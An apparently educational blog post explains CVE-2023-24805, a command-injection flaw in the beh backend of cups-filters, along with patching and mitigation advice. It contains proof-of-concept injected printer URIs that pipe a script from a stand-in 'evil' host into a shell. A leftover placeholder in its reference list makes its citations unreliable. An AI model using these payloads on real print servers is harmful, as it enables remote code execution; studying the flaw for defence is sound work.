On certain Linux and UNIX systems, cups-filters is crucial software that helps your printing service (CUPS) work smoothly—especially if you’re not using macOS. It contains several backend modules, including one called the Backend Error Handler (or beh). This tool lets you create special network printers with added features like error handling or device accessibility.
But, CVE-2023-24805 reveals a dangerous security weakness: if you're using the beh backend to expose a network printer, a remote attacker could exploit this flaw to run commands on your server—ending in a full-on remote code execution (RCE). This exclusive breakdown will show you exactly where the bug lives, how it can be abused, and what you should do about it.
Where’s the Vulnerability?
Let’s dive into the code file beh.c (in the cups-filters project repository). The risky line looks like this:
retval = system(cmdline) >> 8;
Here, the system() function is called with parameter cmdline. The problem is that cmdline can include input from users (including those connecting over the network) and *isn’t properly sanitized*. That means whatever a user enters can be executed by the shell—yikes!
How does user input reach cmdline?
Most often, when configuring network printers via the CUPS web interface or administrative tools, you may set parameters like printer names, URIs, or options. Malicious input in these fields can make its way to this command line string.
With this bug
- Any remote user with access to the print server can send a print job with carefully crafted fields, tricking the service into running system commands.
- Those commands run as the user account responsible for CUPS (often lp, but can sometimes be root depending on setup!)
Privilege escalation is possible, and total system compromise could follow.
An example exploit: An attacker sends a print job where the job options or destination URI contains something evil like ; curl http://evil.site/exe | bash;, which gets included unfiltered in the system command and, ultimately, executed.
Exploit Demonstration (POC)
Here’s how a minimal proof-of-concept attack could be constructed. Suppose your CUPS server is accessible on your organization's network, running on Linux and using cups-filters < v2.1. (prior to the patch).
Malicious print URI
beh://cups.example.com:910/printerName";curl http://evil/evil.sh|sh;#
This printerName is actually
printerName";curl http://evil/evil.sh|sh;#
The rest of the line is commented out with # to avoid syntax errors.
If you sent a print job to this URI, and your beh-configured backend was vulnerable, the server would execute the attacker's code—not simply print the document.
Patch and Timeline
This issue has been patched in commit 8f2740357 (view it on GitHub).
Upgrade ASAP:
If practical, re-build cups-filters from the latest main branch with the above patch, or watch your distribution for security updates.
Restrict Access:
Until patched, restrict who can connect to your CUPS network printers by using firewall rules, access control lists, or CUPS’ built-in access restrictions (/etc/cups/cupsd.conf).
Monitor Logs:
Keep an eye on /var/log/cups/error_log and other logs for strange entries or unexpected command executions.
References & Further Reading
- CVE-2023-24805 on GitHub Advisory Database *(Replace with actual GHSA reference if available)*
- Cups-filters official repo, commit 8f2740357 (the fix)
- CVE entry at NVD (National Vulnerability Database)
- CUPS Filters Project on OpenPrinting
Summary Table
| Risk | Remote Code Execution |
|------------------|------------------------------------------------------------|
| Affected | cups-filters with beh backend (non-macOS) |
| Patched in | commit 8f2740357 (pending next official release) |
| Exploitability | High (network, low complexity, user interaction possible) |
| Recommended fix | Patch/update, network lock-down, audit configuration |
Conclusion
CVE-2023-24805 reminds us how little oversights—like failing to sanitize user input near a system() call—can have massive security impacts. If you’re running CUPS with cups-filters anywhere (especially in office environments), don’t delay: update your systems, restrict your printers, and always be wary of network exposure.
Stay safe, print secure!
*(This post is written exclusively for educational and defense purposes.)*
Timeline
Published on: 05/17/2023 18:15:00 UTC
Last modified on: 05/25/2023 17:05:00 UTC